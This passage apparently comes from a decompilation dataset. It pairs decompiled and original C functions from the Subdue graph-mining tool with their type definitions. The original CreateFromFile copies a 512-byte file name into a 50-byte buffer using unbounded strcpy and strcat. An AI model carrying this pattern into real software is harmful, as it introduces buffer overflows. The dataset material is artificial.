1536);\nif ( *(_QWORD *)(a1 + 1544) )\nv6 = **(_QWORD **)(a1 + 1544);\nv5 = *(_QWORD *)(*(_QWORD *)(a1 + 1536) + 8LL);\nif ( *(_QWORD *)(a1 + 1544) )\nv5 = *(_QWORD *)(*(_QWORD *)(a1 + 1544) + 8LL);\nnumIncrementPosVertices = 0LL;\nnumIncrementPosEdges = 0LL;\nnumIncrementNegVertices = 0LL;\nnumIncrementNegEdges = 0LL;\nseed = (unsigned int)time(0LL) >> 1;\nsrand(seed);\nv2 = func1(a1, v4, v6);\nAddNewIncrement(\nv4,\n0LL,\nv6,\nv5,\nnumIncrementPosVertices,\nnumIncrementPosEdges,\nnumIncrementNegVertices,\nnumIncrementNegEdges,\na1);\n++incrementCount;\nreturn v2;\n}", "original_code": "BOOLEAN GetNextIncrement(Parameters *parameters)\n{\n long ltime;\n int stime;\n BOOLEAN newData;\n ULONG startPosVertexIndex = 0;\n ULONG startPosEdgeIndex = 0;\n ULONG startNegVertexIndex = 0;\n ULONG startNegEdgeIndex = 0;\n if (start)\n {\n InitializeGraph(parameters);\n start = 0;\n }\n startPosVertexIndex = parameters->posGraph->numVertices;\n if (parameters->negGraph != ((void *)0))\n startNegVertexIndex = parameters->negGraph->numVertices;\n startNegEdgeIndex = parameters->posGraph->numEdges;\n if (parameters->negGraph != ((void *)0))\n startNegEdgeIndex = parameters->negGraph->numEdges;\n numIncrementPosVertices = 0;\n numIncrementPosEdges = 0;\n numIncrementNegVertices = 0;\n numIncrementNegEdges = 0;\n ltime = time(((void *)0));\n stime = (unsigned) ltime/2;\n srand(stime);\n newData = CreateFromFile(parameters,\n startPosVertexIndex, startNegVertexIndex);\n AddNewIncrement(startPosVertexIndex, startPosEdgeIndex,\n startNegVertexIndex, startNegEdgeIndex,\n numIncrementPosVertices, numIncrementPosEdges,\n numIncrementNegVertices, numIncrementNegEdges, parameters);\n incrementCount++;\n return newData;\n}", "canonical_original_code": "unsigned char GetNextIncrement(struct Parameters *parameters)\n{\n long ltime;\n int stime;\n unsigned char newData;\n unsigned long startPosVertexIndex = 0;\n unsigned long startPosEdgeIndex = 0;\n unsigned long startNegVertexIndex = 0;\n unsigned long startNegEdgeIndex = 0;\n if (start)\n {\n InitializeGraph(parameters);\n start = 0;\n }\n startPosVertexIndex = parameters->posGraph->numVertices;\n if (parameters->negGraph != ((void *)0))\n startNegVertexIndex = parameters->negGraph->numVertices;\n startNegEdgeIndex = parameters->posGraph->numEdges;\n if (parameters->negGraph != ((void *)0))\n startNegEdgeIndex = parameters->negGraph->numEdges;\n numIncrementPosVertices = 0;\n numIncrementPosEdges = 0;\n numIncrementNegVertices = 0;\n numIncrementNegEdges = 0;\n ltime = time(((void *)0));\n stime = (unsigned int) ltime/2;\n srand(stime);\n newData = CreateFromFile(parameters,\n startPosVertexIndex, startNegVertexIndex);\n AddNewIncrement(startPosVertexIndex, startPosEdgeIndex,\n startNegVertexIndex, startNegEdgeIndex,\n numIncrementPosVertices, numIncrementPosEdges,\n numIncrementNegVertices, numIncrementNegEdges, parameters);\n incrementCount++;\n return newData;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "ltime", "long" ], [ "stime", "int" ], [ "newData", "unsigned char" ], [ "startPosVertexIndex", "unsigned long" ], [ "startPosEdgeIndex", "unsigned long" ], [ "startNegVertexIndex", "unsigned long" ], [ "startNegEdgeIndex", "unsigned long" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "5f80ebee355d86a2ae47764ce593e57a96bb665286f6aae2d39bf2961d2c502d" }, { "name": "CreateFromFile", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall CreateFromFile(const char *a1, __int64 a2, __int64 a3)\n{\nchar s[32]; // [rsp+20h] [rbp-60h] BYREF\nchar dest[64]; // [rsp+40h] [rbp-40h] BYREF\n\ndest[63] = 0;\nsprintf(s, \"_%d\", (unsigned int)incrementCount);\nstrcpy(dest, a1);\nstrcat(dest, s);\nstrcat(dest, \".g\");\nreturn (unsigned __int8)ReadIncrement(dest, a1, a2, a3);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(const char *a1, __int64 a2, __int64 a3)\n{\nchar s[32]; // [rsp+20h] [rbp-60h] BYREF\nchar dest[64]; // [rsp+40h] [rbp-40h] BYREF\n\ndest[63] = 0;\nsprintf(s, \"_%d\", (unsigned int)incrementCount);\nstrcpy(dest, a1);\nstrcat(dest, s);\nstrcat(dest, \".g\");\nreturn (unsigned __int8)func2(dest, a1, a2, a3);\n}", "original_code": "BOOLEAN CreateFromFile(Parameters *parameters,\n ULONG startPosVertexIndex, ULONG startNegVertexIndex)\n{\n char fileName[50];\n char str[20];\n BOOLEAN newData = 0;\n sprintf(str, \"_%d\", incrementCount);\n strcpy(fileName, parameters->inputFileName);\n strcat(fileName, str);\n strcat(fileName, \".g\");\n newData = ReadIncrement(fileName, parameters,\n startPosVertexIndex, startNegVertexIndex);\n return newData;\n}", "canonical_original_code": "unsigned char CreateFromFile(struct Parameters *parameters, unsigned long startPosVertexIndex, unsigned long startNegVertexIndex)\n{\n char fileName[50];\n char str[20];\n unsigned char newData = 0;\n sprintf(str, \"_%d\", incrementCount);\n strcpy(fileName, parameters->inputFileName);\n strcat(fileName, str);\n strcat(fileName, \".g\");\n newData = ReadIncrement(fileName, parameters,\n startPosVertexIndex, startNegVertexIndex);\n return newData;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "startPosVertexIndex", "unsigned long" ], [ "startNegVertexIndex", "unsigned long" ], [ "fileName", "char [50]" ], [ "str", "char [20]" ], [ "newData", "unsigned char" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "5f80ebee355d86a2ae47764ce593e57a96bb665286f6aae2d39bf2961d2c502d" } ]
7a3db6f9897f0f4879a1176a13cfa512a7c2bdae2b97e69b98d87bd17c210528
gromgull/subdue
[ [ "ExtendRefGraph", "->" ], [ "ExtendConstrainedInstance", "->" ] ]
[]
[ { "name": "ExtendRefGraph", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 *__fastcall ExtendRefGraph(unsigned __int64 *a1, _QWORD *a2, __int64 a3, __int64 a4)\n{\nunsigned __int8 v7; // [rsp+27h] [rbp-59h]\n__int64 v8; // [rsp+28h] [rbp-58h]\n__int64 v9; // [rsp+30h] [rbp-50h]\n__int64 v10; // [rsp+38h] [rbp-48h]\nunsigned __int64 *v11; // [rsp+40h] [rbp-40h]\nchar v12; // [rsp+4Fh] [rbp-31h]\nunsigned __int64 k; // [rsp+50h] [rbp-30h]\nunsigned __int64 j; // [rsp+58h] [rbp-28h]\nunsigned __int64 i; // [rsp+60h] [rbp-20h]\n__int64 v16; // [rsp+68h] [rbp-18h]\n__int64 v17; // [rsp+70h] [rbp-10h]\n__int64 v18; // [rsp+78h] [rbp-8h]\n\nv17 = 0LL;\nv11 = (unsigned __int64 *)CopyReferenceGraph(a1);\nMarkGraphEdgesUsed(a1, a3, 1LL);\nMarkGraphEdgesValid(a1, a3, 1LL);\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_BYTE *)(a1[2] + 40 * i + 33) )\n{\nv10 = *(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a1[2] + 40 * i + 24);\nfor ( j = 0LL; j < *(_QWORD *)(v10 + 8); ++j )\n{\nv9 = *(_QWORD *)(a3 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(v10 + 16) + 8 * j);\nif ( !*(_BYTE *)(v9 + 25) && *(_BYTE *)(v9 + 27) )\n{\n*(_BYTE *)(v9 + 25) = 1;\nv18 = *(_QWORD *)v9 == *(_QWORD *)(a1[2] + 40 * i + 24) ? *(_QWORD *)(v9 + 8) : *(_QWORD *)v9;\nif ( (unsigned __int8)VertexInSub(*a2, *(_QWORD *)(a3 + 16) + 40 * v18)\n&& !(unsigned __int8)CheckVertexForOverlap(v18, a2, a4) )\n{\nv12 = 0;\nfor ( k = 0LL; k < *v11 && !v12; ++k )\n{\nif ( v18 == *(_QWORD *)(v11[2] + 40 * k + 24) )\n{\nv12 = 1;\nv17 = k;\n}\n}\nif ( !v12 )\n{\nAddReferenceVertex(v11, *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40 * v18));\n*(_QWORD *)(v11[2] + 40 * *v11 - 40 + 24) = v18;\nv17 = *v11 - 1;\n}\nv8 = *(_QWORD *)(v9 + 16);\nv7 = *(_BYTE *)(v9 + 24);\nif ( v18 == *(_QWORD *)(v9 + 8) )\n{\nAddReferenceEdge(v11, i, v17, v7, v8, 0LL);\n}\nelse\n{\nv16 = v17;\nv17 = i;\nAddReferenceEdge(v11, v16, i, v7, v8, 0LL);\n}\n*(_QWORD *)(v11[3] + 48 * v11[1] - 48 + 40) = *(_QWORD *)(*(_QWORD *)(v10 + 16) + 8 * j);\n}\n}\n}\n}\n}\nMarkGraphEdgesUsed(v11, a3, 0LL);\nMarkGraphEdgesValid(a1, a3, 0LL);\nreturn v11;\n}\n", "canonical_decompiled_code": "unsigned __int64 *__fastcall func0(unsigned __int64 *a1, _QWORD *a2, __int64 a3, __int64 a4)\n{\nunsigned __int8 v7; // [rsp+27h] [rbp-59h]\n__int64 v8; // [rsp+28h] [rbp-58h]\n__int64 v9; // [rsp+30h] [rbp-50h]\n__int64 v10; // [rsp+38h] [rbp-48h]\nunsigned __int64 *v11; // [rsp+40h] [rbp-40h]\nchar v12; // [rsp+4Fh] [rbp-31h]\nunsigned __int64 k; // [rsp+50h] [rbp-30h]\nunsigned __int64 j; // [rsp+58h] [rbp-28h]\nunsigned __int64 i; // [rsp+60h] [rbp-20h]\n__int64 v16; // [rsp+68h] [rbp-18h]\n__int64 v17; // [rsp+70h] [rbp-10h]\n__int64 v18; // [rsp+78h] [rbp-8h]\n\nv17 = 0LL;\nv11 = (unsigned __int64 *)CopyReferenceGraph(a1);\nMarkGraphEdgesUsed(a1, a3, 1LL);\nMarkGraphEdgesValid(a1, a3, 1LL);\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_BYTE *)(a1[2] + 40 * i + 33) )\n{\nv10 = *(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a1[2] + 40 * i + 24);\nfor ( j = 0LL; j < *(_QWORD *)(v10 + 8); ++j )\n{\nv9 = *(_QWORD *)(a3 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(v10 + 16) + 8 * j);\nif ( !*(_BYTE *)(v9 + 25) && *(_BYTE *)(v9 + 27) )\n{\n*(_BYTE *)(v9 + 25) = 1;\nv18 = *(_QWORD *)v9 == *(_QWORD *)(a1[2] + 40 * i + 24) ? *(_QWORD *)(v9 + 8) : *(_QWORD *)v9;\nif ( (unsigned __int8)VertexInSub(*a2, *(_QWORD *)(a3 + 16) + 40 * v18)\n&& !(unsigned __int8)CheckVertexForOverlap(v18, a2, a4) )\n{\nv12 = 0;\nfor ( k = 0LL; k < *v11 && !v12; ++k )\n{\nif ( v18 == *(_QWORD *)(v11[2] + 40 * k + 24) )\n{\nv12 = 1;\nv17 = k;\n}\n}\nif ( !v12 )\n{\nAddReferenceVertex(v11, *(_QWORD *)(*(_QWORD *)(a3 + 16) + 40 * v18));\n*(_QWORD *)(v11[2] + 40 * *v11 - 40 + 24) = v18;\nv17 = *v11 - 1;\n}\nv8 = *(_QWORD *)(v9 + 16);\nv7 = *(_BYTE *)(v9 + 24);\nif ( v18 == *(_QWORD *)(v9 + 8) )\n{\nAddReferenceEdge(v11, i, v17, v7, v8, 0LL);\n}\nelse\n{\nv16 = v17;\nv17 = i;\nAddReferenceEdge(v11, v16, i, v7, v8, 0LL);\n}\n*(_QWORD *)(v11[3] + 48 * v11[1] - 48 + 40) = *(_QWORD *)(*(_QWORD *)(v10 + 16) + 8 * j);\n}\n}\n}\n}\n}\nMarkGraphEdgesUsed(v11, a3, 0LL);\nMarkGraphEdgesValid(a1, a3, 0LL);\nreturn v11;\n}", "original_code": "ReferenceGraph *ExtendRefGraph(ReferenceGraph *refGraph, Substructure *bestSub,\n Graph *fullGraph, Parameters *parameters)\n{\n ReferenceGraph *newGraph;\n Vertex *vertex;\n Edge *edge;\n ULONG labelIndex;\n ULONG v2;\n ULONG secondVertex = 0;\n ULONG firstVertex;\n ULONG v;\n ULONG e;\n ULONG i;\n BOOLEAN found;\n BOOLEAN directed;\n newGraph = CopyReferenceGraph(refGraph);\n MarkGraphEdgesUsed(refGraph, fullGraph, 1);\n MarkGraphEdgesValid(refGraph, fullGraph, 1);\n for (v = 0; v < refGraph->numVertices; v++)\n {\n if (refGraph->vertices[v].vertexValid)\n {\n vertex = &fullGraph->vertices[refGraph->vertices[v].map];\n for (e = 0; e < vertex->numEdges; e++)\n {\n edge = &fullGraph->edges[vertex->edges[e]];\n if (!edge->used && edge->validPath)\n {\n edge->used = 1;\n if (edge->vertex1 == refGraph->vertices[v].map)\n v2 = edge->vertex2;\n else\n v2 = edge->vertex1;\n if (VertexInSub(bestSub->definition, &fullGraph->vertices[v2]) &&\n !CheckVertexForOverlap(v2, bestSub, parameters))\n {\n found = 0;\n for (i = 0; ((i < newGraph->numVertices) && (! found)); i++)\n {\n if (newGraph->vertices[i].map == v2)\n {\n found = 1;\n secondVertex = i;\n }\n }\n if (!found)\n {\n labelIndex = fullGraph->vertices[v2].label;\n AddReferenceVertex(newGraph, labelIndex);\n newGraph->vertices[newGraph->numVertices-1].map = v2;\n secondVertex = newGraph->numVertices-1;\n }\n labelIndex = edge->label;\n directed = edge->directed;\n if (v2 == edge->vertex2)\n firstVertex = v;\n else\n {\n firstVertex = secondVertex;\n secondVertex = v;\n }\n AddReferenceEdge(newGraph, firstVertex, secondVertex,\n directed, labelIndex, 0);\n newGraph->edges[newGraph->numEdges-1].map = vertex->edges[e];\n }\n }\n }\n }\n }\n MarkGraphEdgesUsed(newGraph, fullGraph, 0);\n MarkGraphEdgesValid(refGraph, fullGraph, 0);\n return newGraph;\n}", "canonical_original_code": "struct ReferenceGraph *ExtendRefGraph(struct ReferenceGraph *refGraph, struct Substructure *bestSub, struct Graph *fullGraph, struct Parameters *parameters)\n{\n struct ReferenceGraph *newGraph;\n struct Vertex *vertex;\n struct Edge *edge;\n unsigned long labelIndex;\n unsigned long v2;\n unsigned long secondVertex = 0;\n unsigned long firstVertex;\n unsigned long v;\n unsigned long e;\n unsigned long i;\n unsigned char found;\n unsigned char directed;\n newGraph = CopyReferenceGraph(refGraph);\n MarkGraphEdgesUsed(refGraph, fullGraph, 1);\n MarkGraphEdgesValid(refGraph, fullGraph, 1);\n for (v = 0; v < refGraph->numVertices; v++)\n {\n if (refGraph->vertices[v].vertexValid)\n {\n vertex = &fullGraph->vertices[refGraph->vertices[v].map];\n for (e = 0; e < vertex->numEdges; e++)\n {\n edge = &fullGraph->edges[vertex->edges[e]];\n if (!edge->used && edge->validPath)\n {\n edge->used = 1;\n if (edge->vertex1 == refGraph->vertices[v].map)\n v2 = edge->vertex2;\n else\n v2 = edge->vertex1;\n if (VertexInSub(bestSub->definition, &fullGraph->vertices[v2]) &&\n !CheckVertexForOverlap(v2, bestSub, parameters))\n {\n found = 0;\n for (i = 0; ((i < newGraph->numVertices) && (! found)); i++)\n {\n if (newGraph->vertices[i].map == v2)\n {\n found = 1;\n secondVertex = i;\n }\n }\n if (!found)\n {\n labelIndex = fullGraph->vertices[v2].label;\n AddReferenceVertex(newGraph, labelIndex);\n newGraph->vertices[newGraph->numVertices-1].map = v2;\n secondVertex = newGraph->numVertices-1;\n }\n labelIndex = edge->label;\n directed = edge->directed;\n if (v2 == edge->vertex2)\n firstVertex = v;\n else\n {\n firstVertex = secondVertex;\n secondVertex = v;\n }\n AddReferenceEdge(newGraph, firstVertex, secondVertex,\n directed, labelIndex, 0);\n newGraph->edges[newGraph->numEdges-1].map = vertex->edges[e];\n }\n }\n }\n }\n }\n MarkGraphEdgesUsed(newGraph, fullGraph, 0);\n MarkGraphEdgesValid(refGraph, fullGraph, 0);\n return newGraph;\n}", "variable_types": [ [ "refGraph", "struct ReferenceGraph *" ], [ "bestSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "fullGraph", "struct Graph *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph 